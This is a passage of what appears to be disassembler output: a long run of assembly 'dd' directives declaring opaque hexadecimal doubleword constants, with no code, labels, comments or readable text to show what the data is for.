		dd 0C952C38Ch, 5673AEh,	0D0077ED5h, 44A0F57Fh, 5FA1050Fh
		dd 0F8CB012Ah, 801471E0h, 0A3FC03E4h, 2BE87D54h, 7AF6AE00h
		dd 0B9B1709Eh, 5E78A1h,	370893E9h, 0DD7BCD05h, 0D9B0AD02h
		dd 404F2CBFh, 3F348F48h, 0FA2639F6h, 72554018h,	133BD38Ah
		dd 0ADF2CE3h, 9E85BC00h, 375791h, 2B02C176h, 357FF761h
		dd 0E88C6Bh, 0D59B7AF0h, 7CA94827h, 0E16250Eh, 298460B8h
		dd 0E017D129h, 0A84CF100h
		dd 11209E5h, 0EE61FE6Bh, 4098D0E8h, 0E063FAECh,	7C3F48h
		dd 743755A2h, 8064FC28h, 0B60089E7h, 7BCCA0F2h,	3B9504h
		dd 0BCF48770h, 86C02D9Dh, 25982F04h, 0D8C89B20h, 41161C6Dh
		dd 568C478Fh, 6A24529Fh, 89035CC6h, 0E6E7C9DDh,	9BA19091h
		dd 0D2691773h, 0F900AB6Fh, 4E9521F6h, 0C9F0C0E4h, 45F080C5h
		dd 0E041EC6Fh, 0E6BBE9C4h, 0F74C0050h, 466173DEh, 7F2E627Ah
		dd 0B90AF7E1h, 0E000489Fh, 0F6590C74h, 0D3400176h, 9A5CDB8Ch
		dd 0B8391072h, 0B560173h, 785859EEh, 0AC50E809h, 3A4DC302h
		dd 0A076FC32h, 0D9B82288h, 0A7099DE6h, 0A4B92984h, 0BC3B12ECh
		dd 0C6CC8EFh, 0A9344D46h, 0ADB306A7h, 0C1F1C257h, 6E258400h
		dd 89EA7D6Dh, 43494C12h, 3ECC628h, 0F368F279h, 590076A3h
		dd 87EB2850h, 421A16h, 0D985DDEh, 97C92AD5h, 0D7AB5100h
		dd 0FDCEB096h, 73A9C077h, 9E1FE4CFh, 0AE81C78h,	2C1D4512h
		dd 5AFF3C46h, 13180029h, 0FD6BF993h, 0EF07D6C2h, 9ACF494Ch
		dd 0E2F37730h, 61E012Dh, 561F2A87h, 0A832F1h, 3E49C623h
		dd 96222E2Bh, 70650160h, 229D97F8h, 47EE16D4h, 93E8E800h
		dd 7365CDh, 43CFE9D5h, 9FB5131Ah, 8094A24Ch, 495B89EBh
		dd 380F4A04h, 84176D88h, 6037EC39h, 7E27FB30h, 786149F1h
		dd 0DB370603h, 0C1EDE3D5h, 0EC627277h, 6000E553h, 3665F1DDh
		dd 0E4310429h, 80B0B1BEh, 53604194h, 0DF00FA6Eh, 75C83AECh
		dd 3E1B2C40h, 0EA82999Ah, 0C1F5D050h, 0DB3A345Ah, 0DA2F80B1h
		dd 0ED291FD6h, 2CDF01B6h, 98455269h, 0E0844D9Ch, 0F03E3610h
		dd 869B1842h, 96BA5119h, 274F8024h, 0F6313591h,	89B0CB58h
		dd 0C27C1839h, 34462698h, 0C86C1208h, 0D1003178h, 0BB0E9E91h
		dd 7E8EC1h, 0E91D0735h,	0CD9872C2h, 3D820D00h, 0A6B7C961h
		dd 0DD3B05D8h, 0D0ADEEE3h, 0F96D87B8h, 0CA80EC96h, 165BF391h
		dd 370701EEh, 4AA0C989h, 2827305Fh, 0A205C706h,	0F81F3FAh
		dd 0E0453004h, 8C12B9A0h, 0A91EF7CCh, 0F049739Fh, 21A08208h
		dd 0B9044032h, 249A27A3h, 78A9A410h, 0D7725300h, 0F5B6B0A8h
		dd 6FA413B3h, 0A5FC0081h, 3CF0201Fh, 0C5381300h, 38DB48Ah
		dd 0FDC92E37h, 7C7840D8h, 0E800A833h, 4CB42DC5h, 0B1FDFCAEh
		dd 650D0028h, 7ADFE269h, 7066C41Dh, 8BB87882h, 0E0CC616Dh
		dd 390C502Dh, 61D9F9EFh, 7960A3F6h, 0CA13CC88h,	321A0FF5h
		dd 0A2206772h, 0A5DB02E6h, 9AC8C400h, 4998E989h, 2A6F753Ah
		dd 0DC74D2h, 154DFB69h,	5EF61DA7h, 4FA00E00h, 6AA22C1Fh
		dd 24340078h, 8DE2E961h, 0BBEDD199h, 0C5A10339h, 0F079D709h
		dd 7F758A7h, 6434A339h,	0FB364C6Fh, 0E90B2C90h,	8FBEB1CEh
		dd 0F7EE0671h, 806402C1h, 0AD668BAFh, 9F5D14C0h, 0F8D2240Bh
		dd 0B8689005h, 0F75700DCh, 0F533E2A0h, 700F2D5h, 66CC58B1h
		dd 8238A46h, 769F88F1h,	9C3ABD80h, 12FBB6h, 86264B53h
		dd 32C0E3Bh, 0DD503F01h, 0C1C895C2h, 0F82848C2h, 252D00A8h
		dd 97BD301Ch, 9B3011CDh, 1EED5170h, 496306B8h, 99381819h
		dd 569E3000h, 36096996h, 2581E06Dh, 0EF00E9EFh,	0D3EA5788h
		dd 514D60F5h, 849E39FCh, 5FB92260h, 9CF70C56h, 1219F2C3h
		dd 5D1B6F00h, 650928F9h, 12E5E2B0h, 9218316Bh, 5D43CB7Ch
		dd 4304A0B7h, 0C27E1D2Fh, 596CD000h, 0A1B45A37h, 80D760EEh
		dd 0D22BA3FEh, 0A817C529h, 0E654B201h, 82F0CE97h, 2850B8D0h
		dd 7B48D38h, 305A42C6h,	0CDB7A9h, 0E44C0398h, 1A05C4Ch
		dd 0B9E9C6AAh, 5470C7B1h, 816091A2h, 0D177609Ch, 156BE862h
		dd 384C195Ch, 38B47F33h, 0F4C22A04h, 5237AB40h,	93038158h
		dd 0AC571232h, 4127F0DDh, 35E900FBh, 710FCCEh, 3C30699Fh
		dd 0C6F678C9h, 18392786h, 7CFCEC23h, 19268160h,	2028872h
		dd 4E01D844h, 9DE338A1h, 25C8C8A4h, 53CC500h, 0DF9ED07Eh
		dd 8AD32AF8h, 98460D8Ch, 0C0514C9Dh, 0AA0784D5h, 57CFC953h
		dd 0E393EF31h, 9E0D0D8h, 0F959CE1Eh, 69EE3090h,	0F0472428h
		dd 75AC863Ah, 0D1A80C00h, 7DCF7BA4h, 26C8A0E1h,	72A900Fh
		dd 0AEB81270h, 0A04541CBh, 0F6A1801Ch, 5BEB9C41h, 11C37CDDh
		dd 3AF0ECh, 8C1ACD0Fh, 0B2F3B29h, 0EC9E2610h, 3D32B081h
		dd 7C6218h, 0A5A4F974h,	0B8171C9Dh, 0E3A9009Ch,	0E1083C7Bh
		dd 0E254450Bh, 42293938h, 901DCCF9h, 0DF780D40h, 74FE4C7Bh
		dd 90101E6h, 88F91C42h,	1275D4C3h, 0F0AC4B28h, 74B12A00h
		dd 6887CA30h, 53FD204Ah, 7E45E700h, 71E49136h, 24CA020Ah
		dd 0A9DF6043h, 691E6CE6h, 0B4408777h, 0E75B9FF7h, 0A3C02F9h
		dd 0DF2E4388h, 0A61E40D1h, 7E9FC340h, 3358523h,	0FE55E099h
		dd 0BECBB6B4h, 4F74A2F0h, 5B726203h, 0CB41F44Dh, 921AC050h
		dd 0C97F056Ah, 28618EAh, 5F7ABE8h, 3C9058D2h, 3B66C25h
		dd 0A24C0D14h, 2C047A80h, 0BCDCF651h, 0EACAD70Bh, 90A4F48Bh
		dd 0CE94E4FCh, 17D06400h, 0EDBCD60Dh, 0D202001Ch, 4AA3EBA0h
		dd 5D45E0F4h, 0FBEAF0h,	7A4592C4h, 1DBBAA2h, 0B6059D03h
		dd 0CABDCFC5h, 0E94E4FCh, 31A82C9Eh, 1D905BC0h,	4A1F6F5Fh
		dd 5E018062h, 0C96AF049h, 2E80A468h, 0B251757Eh, 5BA1A600h
		dd 7B9C42B0h, 93D305DFh, 8C577605h, 9E003ACCh, 0B0915CE3h
		dd 2F4AD0h, 0E16C6523h,	244EE0AFh, 0E43FACF2h, 0DCA78049h
		dd 8063CD12h, 82E496FAh, 36511C4Dh, 263F9340h, 1E7B6405h
		dd 8880EED9h, 1E21881Bh, 0E8C433h, 84D08BE4h, 0B3003B68h
		dd 0FAFDA127h, 148EA90Ah, 4CC37806h, 804ABD00h,	333DB724h
		dd 0EEAA2C00h, 3C2D2AD8h, 0CA4E0060h, 0D6E3D053h, 0D90B0B38h
		dd 9821AC68h, 1E08D10h,	49CF75C9h, 2027AD1Ch, 7605FF84h
		dd 0FC28685Bh, 93CC88h,	0FD4A12Ch, 0AEEB308Fh, 66275D07h
		dd 2580697Bh, 24A972DEh, 7A0A1B7h, 243F11EFh, 0DA48C0CAh
		dd 14B11974h, 4FD58180h, 0C1183E38h, 0ADDC270h,	0D471DE45h
		dd 0FAB14105h, 0AE737400h, 4D406Ch, 319BBF9Ah, 0C19F8508h
		dd 0C2254312h, 42583420h, 0DAB3007Eh, 5B45C844h, 59007435h
		dd 493B33E1h, 242FB268h, 3706EDCh, 9061CEC8h, 9B4027EFh
		dd 3C20B080h, 0B5746812h, 982E0931h, 0CF111AE5h, 0DD920B2h
		dd 0B3BBEA0Ch, 1D1BAE2h, 6560244Bh, 2470F7F4h, 0A9071260h
		dd 817ED09Ch, 0E9D917D0h, 5E4D05D7h, 0A4F1A4E0h, 0DE160AB8h
		dd 0C300B51Dh, 8F80084Bh, 95100B3h, 0BBFFD0ABh,	0C40043E9h
		dd 0EFAE8733h, 274F4Dh,	2629896Bh, 5715397h, 12FAF03Bh
		dd 54925E74h, 0E9F0E01Bh, 0DCE12CC8h, 0F0C58948h, 7A80B048h
		dd 0CD731107h, 0C0CE0A06h, 9D4F4635h, 2725E22Bh, 58988794h
		dd 7A0E1C71h, 4EE38C68h, 9A16E0D1h, 22901215h, 8A0F6DFBh
		dd 0E037EA40h, 9684B329h, 0B9331CD9h, 0E52780CDh, 8A889DC9h
		dd 0DEA8FCA0h, 10399002h, 0E19AD037h, 97C8AC83h, 0B9150725h
		dd 0C59C24C6h, 786CC22Fh, 0D0008D0h, 373656BCh,	9905F480h
		dd 988C3918h, 8C895077h, 8277BC98h, 84999F2Ch, 63B69D80h
		dd 0C2A7FCh, 1EFA1F78h,	0DEF2E85Bh, 0A9BD4F05h,	5CC8D4F7h
		dd 0FCEB5239h, 85C96101h, 600642B7h, 98EA2766h,	1A46EB01h
		dd 670709D3h, 807E9031h, 0F0581B70h, 380CE8B8h,	819CF352h
		dd 0E8B9F9h, 25FFEB4Ch,	8B01696h, 0E52FA22h, 0A91299Eh
		dd 952C10C0h, 0B34BA5AEh, 0B4B2CC04h, 0BFDE3C80h, 0E49A91h
		dd 0B5B8A57Bh, 0EF2EE627h, 982AA21Fh, 0CF0084A9h, 6425DE7Fh
		dd 6AA102ABh, 0FED9B8EAh
		dd 34809056h, 8F3ECFE6h, 0C0C24820h, 0B800CA8Bh, 0F3BD5A6Eh
		dd 44BCEBFCh, 81726CE0h, 0C527097Fh, 3C10FA85h,	0EF3B4165h
		dd 0DA8300D4h, 3107E43Dh, 8BED00ACh, 1BE9B7E3h,	4C9EFF3Fh
		dd 333A6380h, 0DD2D1Eh,	0C52BDA98h, 6B87F519h, 7CBDAE03h
		dd 0C0091B79h, 80F6F92Ah, 0B0010E21h, 9E6DDD39h, 0FD47A2AAh
		dd 3372EA61h, 0B0BAE30h, 0C934CCD0h, 58178464h,	3100F888h
		dd 4535DFDh, 845A1219h,	0DD2F0B83h, 7C9F7410h, 9D5FE9C0h
		dd 3EE6DC4h, 1243C5FFh,	688856A2h, 3A047DBBh, 9A6730DAh
		dd 5350F4h, 9F901F0Ah, 550B56B5h, 4D038913h, 2B182C02h
		dd 0B0244029h, 0D0170079h, 0BEA762D2h, 0D400EA25h, 9286532Dh
		dd 0C0639F7Ch, 36FF2651h, 740A069Bh, 0B44C8DCAh, 0FC4E8F60h
		dd 499F0240h, 13DC60F3h, 1FEF0960h, 0F1A7DD12h,	41ED8C20h
		dd 0A6B40490h, 0CCC8F8DEh, 0AF48DC50h, 785600C4h, 0C60DE345h
		dd 6EF13052h, 0CEE0E281h, 0B0A64F12h, 60CB3C0Fh, 6CE4501Ch
		dd 8BFC0039h, 4F7258E8h, 0BE096BCDh, 0C08712h, 0C952C21Dh
		dd 48FE31D8h, 30DEE3B1h, 0C70186AEh, 0B771B5FFh, 80FFAF90h
		dd 3F6C38EAh, 0EF007205h, 521FB9BBh, 0F5009C2Dh, 27428841h
		dd 76E03FE2h, 0A7E500AEh, 814C5D32h, 0D0B687EBh, 0FCB92140h
		dd 946900C5h, 6F18F2E6h, 910F0534h, 618B4FCFh, 0A139A0C3h
		dd 0D1130C39h, 299400EFh, 675FAC7h, 0B4354203h,	3C46B2A3h
		dd 0AC58E398h, 8CBD5313h, 1201F7F0h, 0F5CED6E4h, 0F029FA59h
		dd 9A77200h, 269D5C8Dh,	0B366100h, 78C956B4h, 0EF5D007Ch
		dd 0E4234F93h, 1CA849C4h, 902CF1Fh, 16209E55h, 0EC9C90FFh
		dd 0ACC00040h, 7CB4E611h, 3A0018D2h, 33B7138Dh,	9995C8F6h
		dd 22258080h, 0D4F48174h, 9F193966h, 14920009h,	0AF8ADB1Ah
		dd 0F70E90E9h, 0FFC88CA7h, 0DC30D8A8h, 6813E16Dh, 2812141Eh
		dd 0B60050FFh, 53A714D2h, 7F0080D1h, 0E03D3A36h, 12D7B7C8h
		dd 0A096E261h, 0F94E4B50h, 0B751840h, 0BF5C4B3h, 9B981FE3h
		dd 0CE09FC66h, 182B35D7h, 1250BECh, 75E7B63h, 0DDC746F8h
		dd 370EF4ABh, 0E2DA9E1Fh, 0F986F85h, 0A31720E6h, 409C0176h
		dd 60509DD0h, 0B983E21h, 17296564h, 0B30CF4h, 0C27DD931h
		dd 0CC3EB534h, 7E3AA201h, 8B039F56h, 4B0F0070h,	1CF813C8h
		dd 0CF6B414Ch, 805DEA19h, 12A6850h, 0C1556B9h, 1BE2452Bh
		dd 4006C7F1h, 60E38151h, 0F05B2C90h, 0CC50010Ch, 220E8891h
		dd 0BB3F00E0h, 0C97AD5A0h, 3A04136Dh, 13E8026Eh, 0D4C14369h
		dd 0FFB18345h, 807981ADh, 2AF23Fh, 0F65A2ED6h, 0F77F8D66h
		dd 0FA4BB713h, 0B848E823h, 11CCFDC0h, 11AE244h,	479A4322h
		dd 706217AEh, 7D006A3Eh, 0DBC8E2FFh, 4F022A71h,	0D87BAECAh
		dd 49452FBh, 0BAB1D71Ch, 6ADD8050h, 80002922h, 0F09E9674h
		dd 1212A10Bh, 0D0F17CE6h, 5B0E23C0h, 3EF93000h,	6FF2C54Dh
		dd 9D1E00E0h, 0B9EA78A1h, 135874D9h, 3FD43890h,	849B3882h
		dd 0F0C7A8BFh, 2C005CF9h, 5E2BFB4Bh, 0F51F5738h, 0CF4056FAh
		dd 6226C55Ah, 0BABC1F97h, 5BEA83DEh, 79C8C993h,	96E0CE5Ch
		dd 8C04472h, 86D9CD9Dh,	0B84BF8A4h, 15C7771h, 49D25260h
		dd 0A69744BDh, 0E040329h, 4C4AE3Fh, 0DC1B08C1h,	855008F3h
		dd 0F38D9217h, 0D6F00887h, 0C39C00AEh, 0C02DF59Eh, 0C1F0FE2Bh
		dd 250FE000h, 5612D1F9h, 0A085035Eh, 95F1F6D4h,	14203800h
		dd 7D2E3E2Bh, 0C115062Fh, 61AB3F9Ah, 90003298h,	22AD6A48h
		dd 3F0F2D79h, 11063FD3h, 2995441Dh, 183CADE0h, 0BFF2805Ah
		dd 7A04220Eh, 5EFC182Ah, 41B3B9EAh, 6192470Ah, 28036045h
		dd 9855248Eh, 1B303B99h, 0F8B72654h, 0DA952103h, 0F3DF0B6Ah
		dd 1180B77Fh, 40BD44A3h, 4E00EF01h, 72C12EAh, 5A6575h
		dd 238BD825h, 0F1714460h, 69270B00h, 1184FE16h,	772CA0C9h
		dd 0C099C193h, 50FF0E50h, 61014B88h, 5A096E00h,	8DBBCAACh
		dd 0A801F98Ch, 701C426h, 20EB0401h, 649E530Eh, 0E8118AE0h
		dd 5FA91822h, 1BFD5981h, 3F6B2700h, 59F61499h, 82550601h
		dd 89F75404h, 21E7CE1Ch, 0B06A8E03h, 0F83E371h,	18638A19h
		dd 33B1E100h, 0F300FCC0h, 12D285FAh, 3F16057h, 0B8396F0Fh
		dd 0A10E968Ch, 0C04EFB87h, 1615105Bh, 0ECD704B6h, 83A43E1Fh
		dd 1B81704h, 867D6D21h,	0DCD7A08h, 662580FDh, 9BDB549Ch
		dd 6703BE71h, 395631BBh, 8198F8B4h, 8ED9C6F9h, 503F7197h
		dd 197700ABh, 7B419414h, 1C7C80h, 434BBA1Fh, 0FF899E3Ch
		dd 0F319C6Fh, 9B0506A8h, 0F77A0311h, 7CC76A64h,	4265D5E1h
		dd 5A20EBA0h, 3A060D2Ch, 0B58390BFh, 0FCFF3653h, 0AA78B100h
		dd 5785E220h, 9FD001B1h, 5F935859h, 11418084h, 86BBDE6Dh
		dd 40BF0271h, 0DC9ED0Ch, 99EB64E0h, 2825B502h, 443FB658h
		dd 8E7048h, 0E1E6DFACh,	6B25F6E3h, 953FFE11h, 0F49C40h
		dd 0A4378E1Ch, 9F9ED01Eh, 9C04D502h, 0C088AF82h, 1D9B17C8h
		dd 402F1CA2h, 90B35EBDh, 0CD009E7Dh, 65AD2A8Fh,	283980A8h
		dd 7ECC7C41h, 2774007Ah, 0B4DFCF25h, 0ED441899h, 202098E0h
		dd 370E01BAh, 0E0A62FF5h, 5A6FE35Dh, 86E90004h,	59A14B95h
		dd 0CE0F321Ah, 6155173Ch, 42D503Fh, 2A6F70h, 31AEDECBh
		dd 0D2A8D446h, 3286BD00h, 0AF5212D7h, 0CA8B0CC0h, 0DD79F2FEh
		dd 45DF2807h, 10397AF6h, 36CFAC8h, 2A95E253h, 0F79B9957h
		dd 9B4B3106h, 0A9BC3Fh,	0C39836E5h, 9F151C90h, 2C0DF00h
		dd 24B4DBE1h, 0B376F4h,	55D76E0Fh, 445351BEh, 0E37560Ch
		dd 0A0519Ah, 6EF717F2h,	76B8F358h, 33F6EDA0h, 0DD990500h
		dd 0FE2AB7ADh, 5460B57Ch, 301861C9h, 3741E5FFh,	35B407A5h
		dd 609F0B80h, 0EA0FACA7h, 0C1FD3A1Fh, 462B649h,	0E64EF380h
		dd 10224702h, 2F87C480h, 41F1991Eh, 247F6728h, 4500542Ch
		dd 7239943Ah, 1EF728h, 0F68F067Dh, 6D89AEECh, 708249h
		dd 0D7D2773Dh, 48D6C6C2h, 3380D48Ah, 24A6DF93h,	9BD2070Eh
		dd 0C0380025h, 7CB61565h, 1318B187h, 9C0821F3h,	0D03D8F5h
		dd 70F8EA00h, 0A91708AEh, 0C39B5127h, 0A1F020h,	0AD03E428h
		dd 9EE2694Eh, 15AEDD01h, 65382A64h, 0C1E6DBE5h,	0CC33D708h
		dd 0A0664401h, 0C01D1A47h, 75071026h, 6E87A995h, 294D5FC7h
		dd 97BD8E4h, 9AAD64B4h,	0F2464480h, 170326A3h, 44DEF8F6h
		dd 52B900B0h, 0B1944D02h, 0F891039Ah, 0A2098828h, 10F3B326h
		dd 10EE434h, 2706D036h,	200D306Fh, 0B5060587h, 0A2506926h
		dd 7CF60088h, 0F903D2Bh, 99266BAFh, 0B642E009h,	12B48037h
		dd 15D3D5Fh, 7FFE6688h,	0E8465E1Bh, 15063618h, 3099B549h
		dd 68CE18A1h, 1A3241F0h, 8413577Bh, 44036067h, 0C2D7A947h
		dd 0CC8C410h, 908DB011h, 0C30052C9h, 98325B73h,	91449719h
		dd 0EE690390h, 0F4F1AF6Ah, 4661B7h, 3D275FCCh, 61FE8548h
		dd 870E9029h, 1D77A0FBh, 8C074CE6h, 42F3040h, 0BFD9F90Fh
		dd 8A88880Dh, 6DF8A100h, 577D0964h, 62540019h, 9902D2BBh
		dd 0AF005805h, 8C1890CFh, 0C0010E2Bh, 5AB7A4E9h, 0ED02C71Dh
		dd 807D9146h, 0BAF6C0DAh, 0D2AE388Dh, 225C9073h, 7A389C6Ch
		dd 9D4C8AE9h, 208848Bh,	9C7C9498h, 0A6C61EC0h, 0EB092F3Bh
		dd 4B82DD7h, 0A0804CCCh, 3ABDD1DFh, 8482D3A5h, 0FF88D966h
		dd 1C008044h, 24EFA323h, 608AD790h, 0F7C919AAh,	95001FB6h
		dd 9ACF30E4h, 15B725h, 0B3C1FFA7h, 0BABD2B8Eh, 0F4BE4718h
		dd 0B8D1D558h, 4511283Eh
		dd 50DF73FCh, 529E3401h, 7E00F822h, 5C052F80h, 0FA0B1D67h
		dd 90118807h, 2AF2B74h,	2573B6F4h, 0CA01D85h, 4EA282A6h
		dd 6E84F302h, 0A0ED5ED6h, 0B1289580h, 82160231h, 8F8AF30Ch
		dd 92C06481h, 8073C80Bh, 9152C700h, 25302B77h, 0A7E202E0h
		dd 3C2E1995h, 58D0040h,	0D0D22400h, 0A218E107h,	0AB1312C4h
		dd 1E08208Ah, 0CC002492h, 9D8FDCACh, 182DEB2Ah,	0A9C62585h
		dd 8588986h, 0AEB481CCh, 0A420387Dh, 0FB70B051h, 1DA82C13h
		dd 37138459h, 9F0A0AB7h, 6B40C08Bh, 71DB94Dh, 667E5EFh
		dd 157EE01Fh, 0E05C92B1h, 5C17063Ch, 0FB8976Fh,	0DFC58235h
		dd 28064180h, 9524DD14h, 1BB85809h, 0A0A47A10h,	3003D317h
		dd 12E26DF0h, 1901894Ah, 1C9A5716h, 9060947Eh, 0DE2F03C5h
		dd 0B144D4D9h, 0B5FB100h, 2E779E06h, 0AEF604h, 0D2EC2B80h
		dd 0F512B5BFh, 0BD06B090h, 818D6854h, 5C9700C9h, 0DE757D0Bh
		dd 360706E4h, 60D54908h, 0BB180389h, 0E00B8B29h, 0A5E7A17h
		dd 989675Dh, 0F3A041A0h, 0CFC983E6h, 0D0256252h, 5A7408h
		dd 0EC9843Ah, 6FA4A5D8h, 988DDD18h, 1249B39h, 48736A18h
		dd 0D051A5EBh, 0D8006D12h, 0F6A6502Bh, 1DE39Eh,	43E0DE36h
		dd 0BD0C596Eh, 14C3A32Ch, 68ADF302h, 73A0A082h,	74E7015Ch
		dd 7E7D014Eh, 46B14A1Fh, 95944034h, 1103DAA2h, 38A9D44Dh
		dd 8FC6B8B4h, 7E9C3C18h, 5901ECC8h, 14ADFD08h, 561089E6h
		dd 0F12890F7h, 720503BDh, 6931213Ch, 5304EFA0h,	0A48F55Ch
		dd 90B568F7h, 1379A98Fh, 63D4D820h, 49C0055Fh, 439444B6h
		dd 81DA76D4h, 0DE4CC588h, 68806417h, 9A7DC420h,	0D49207F3h
		dd 8F881EB6h, 40818ECBh, 0EA4AC7F5h, 5C00F851h,	83A4AC8Fh
		dd 2FBF2F78h, 0C7034FF8h, 248538C1h, 1291CAAh, 0E18B8544h
		dd 48982067h, 7600F788h, 7CC18A68h, 269BAF95h, 16903C93h
		dd 42EC5D6Ah, 0F72C9E30h, 1B885721h, 0F33B282Dh, 20018CDh
		dd 0BFBAD347h, 0E2079ECCh, 74191798h, 0C23E6D02h, 3F4EC044h
		dd 3A107438h, 690C3C0Bh, 0F0687BABh, 99D2887Fh,	401EE813h
		dd 85AC0F48h, 0CCCCA64Eh, 80061ACh, 0C477BDE4h,	73EE1D89h
		dd 0E0B0B8F7h, 10888896h, 988020A2h, 498BF7Eh, 0E169896Fh
		dd 0B0E8DE6Fh, 0D00C473h, 0DA57FDF1h, 49003D2Fh, 0ED4DB1EBh
		dd 133AF0ADh, 205ED34Ch, 6047C4E8h, 0C2CE570h, 0BC00A835h
		dd 0DEBE1C7Dh, 530E1676h, 3A04203Fh, 8001F0A2h,	0FD445408h
		dd 2EDC845Eh, 0A7D713Fh, 288FC23h, 0D91D4080h, 0C9E88495h
		dd 9AA0008Ah, 0A9E4F388h, 0FED816C4h, 1F23002Ch, 8A015A79h
		dd 5802F07Ah, 0B0610CD7h, 6867E1FAh, 93058439h,	8052A855h
		dd 1F04A068h, 0B201C07Dh, 0F417899Eh, 0C8810B33h, 2D3E7CBDh
		dd 9100FB8Bh, 39046A6Dh, 0F02CFDh, 73AAF23h, 0A449CD3Bh
		dd 758CDD1Fh, 1C00B217h, 306B4350h, 3F9D242Fh, 7B0B4078h
		dd 8000B019h, 1866CC33h, 148162Eh, 71BAD217h, 709406DFh
		dd 0C7517758h, 0A1A811AAh, 96C8301Eh, 0E8308B89h, 0E2D0052h
		dd 0CDAC5519h, 5B18D064h, 0B2801590h, 0C6A2006Ah, 7C48BE4Ah
		dd 75031B7Dh, 84D1E653h, 0CE4900F6h, 21FD2C5Fh,	0FF2E85BAh
		dd 30260813h, 81C77D0Eh, 0A58E6B14h, 8FB08057h,	13D7D424h
		dd 88590F07h, 0F10012F8h, 978680E7h, 291B2BFh, 87BC2B5h
		dd 0A582F87Ch, 18C46E89h, 0A6173D00h, 912BA83Fh, 8BD40943h
		dd 0D85BC0Eh, 90CC80DFh, 0A64AF52Ah, 70226421h,	3BC899ECh
		dd 0BE009310h, 8013B9BAh, 4F87CD3h, 8568EC48h, 0E885D425h
		dd 32A720CCh, 2BD8E3D7h, 1400D46Ch, 1B4DBC7Fh, 0F189EC6Ah
		dd 0F58D98FFh, 0A1810955h, 0F41C87A2h, 0D8F4BB07h, 3EC0350Eh
		dd 1ABF55Fh, 91CF233Ah,	2058DFB9h, 9911C4E8h, 6B008212h
		dd 6AD58902h, 0BC02CA15h, 0ECA926F0h, 0D6F888A0h, 42C8583Eh
		dd 0DDB7045Ch, 60E4F385h, 9C0100B8h, 1B473A53h,	3E0CF084h
		dd 21FEF76Ch, 0BC3258ADh, 9722E400h, 74276003h,	8E13040Ch
		dd 3159A4h, 0B16BCA1Ah,	39C17572h, 0A3438096h, 4B5A90EEh
		dd 25740084h, 989C80A7h, 0F90514C4h, 3F049383h,	0F3A18823h
		dd 629FE8A9h, 0E52003Bh, 0FF828B7Bh, 3C015402h,	72160BD4h
		dd 3EE01555h, 0EAB00317h, 7B852A82h, 9E7FD898h,	19906B00h
		dd 53143733h, 9E15F27Dh, 0BE097ACh, 7480C8A0h, 3D75FB2h
		dd 99F75118h, 0E67CEE21h, 477B05h, 0C2D6C5B2h, 0E5BCD240h
		dd 0A4A07301h, 7E99221Dh, 85041022h, 0F467D866h, 9A00E34Ch
		dd 5F6EA439h, 8EDDBh, 899409BAh, 0BD5AF607h, 0C37AD700h
		dd 0AC49740Fh, 0C83663B3h, 0AEA03C18h, 0E5325904h, 0E0E75834h
		dd 2CF35A2Ch, 2B87E27h,	9F44C75Ch, 67D99448h, 286B5701h
		dd 69387489h, 3B177D60h, 4CC8B8F1h, 0F0FFD22h, 801D07A6h
		dd 127E8C34h, 2817029Bh, 8DBE999Fh, 68007879h, 0E8D0EFEAh
		dd 43C4000Bh, 778B19CBh, 0F41612A7h, 8800D67Ch,	0C52A25A0h
		dd 30694B99h, 1D365A18h, 8E56F81Fh, 2C7819B0h, 295400ADh
		dd 739F53DDh, 0C23C986Eh, 70CCD39Eh, 5C4E48h, 0D755AFA4h
		dd 75146412h, 0D9D30456h, 82420449h, 691095CCh,	84D008EDh
		dd 3EAD25h, 0D5350279h,	30FE0C3h, 1327A26Fh, 1DAA1F4Eh
		dd 65E0D058h, 0A89059FEh, 9158062Ch, 8C009C13h,	0D3A3D7B1h
		dd 57E0FEDh, 89852514h,	0BDA0986Ch, 18560324h, 0C3D16860h
		dd 2E8F2h, 260982F3h, 0B7E5B562h, 7C231C16h, 165068C0h
		dd 29BD034Eh, 2EC6C80Ch, 5F46D8E8h, 0B581809Ch,	0A0A3AE5Eh
		dd 661D420h, 1995D774h,	420B10A6h, 90F6F480h, 0C07D9Ch
		dd 8B6F2D9Ch, 0A8AF2826h, 79EAF000h, 4ADBB3BDh,	0AECF2C46h
		dd 80DE023Ch, 0C4632A03h, 0FF1FC498h, 0EC80BCB6h, 6EA865Bh
		dd 111C05ABh, 8C17887Eh, 361D7790h, 1D002ABAh, 0F65101ACh
		dd 0F2D0C73h, 0C6A08C3Dh, 80DC444Ch, 0EA01E649h, 6E7D0074h
		dd 5041ED04h, 42004EDAh, 88FE2AC8h, 509652BDh, 1D47C7Fh
		dd 27918D6Ah, 80F62999h, 36210299h, 928E309h, 7088456Dh
		dd 0B3446C68h, 0C91C189Ah, 4F40218Ch, 50F1B411h, 0B58F00B1h
		dd 63240E09h, 870E45E4h, 0AB743604h, 8660483Fh,	0ED7B20h
		dd 7A6B713Ch, 0C44D9232h, 0FA9B9303h, 9099DED8h, 27B811D5h
		dd 98101787h, 0A0095F18h, 4452CB4Eh, 5ABD003Ch,	0D171E14Ch
		dd 0A51166FAh, 1D00ED68h, 360E9F63h, 4F14961Ah,	84B02488h
		dd 0F4874AA4h, 0ECF46894h, 0F1580030h, 8C7DB00Dh, 4F04831Bh
		dd 24923CE6h, 980C480h,	12F8B8CBh, 7FE7Ah, 8A0FA164h, 0E12699DBh
		dd 7C051C84h, 0D0D4B47Eh, 9CDE9830h, 3F9848FAh,	67F0200Eh
		dd 0EFBA9A20h, 793F03BFh, 50FB836Ch, 961B99h, 0FF1C9291h
		dd 85EFBDB4h, 278E4F2Fh, 1A775244h, 399E80FBh, 73465EADh
		dd 4A2104E5h, 80A03CD9h, 7B6CD040h, 0F800255Ah,	38677DD7h
		dd 0FB3302E1h, 0A7045114h, 0F7CFD860h, 0DFF09548h, 0A2124503h
		dd 84DD8A6Ah, 3CA3199Ch, 1AC7C24h, 0F12B4A5h, 0E625C9D7h
		dd 0AA00F851h, 992066Ah, 0B0B20FAEh, 0FC06BDFh,	0EE6F3DD0h
		dd 100417F2h, 5476ABCDh, 0BD3C48Ch, 0EC023B99h,	8600F0C4h
		dd 5C929A6Fh, 944EEFh, 63C0B7AEh, 0CEE30D1Eh, 15130E00h
		dd 8B2577BBh, 81B0B490h, 1109671Dh, 0CC3C31AFh,	882753DCh
		dd 842F16h, 0F917A00Bh,	0D42907ECh, 83D12E7Fh, 99FB85FBh
		dd 0D8A489EDh, 59D7A36Fh, 3B6D088h, 0D287C535h,	0A6B1AE50h
		dd 30E02658h
		dd 904C788Bh, 389E3E0Eh, 117A5280h, 6E853D81h, 0C680A002h
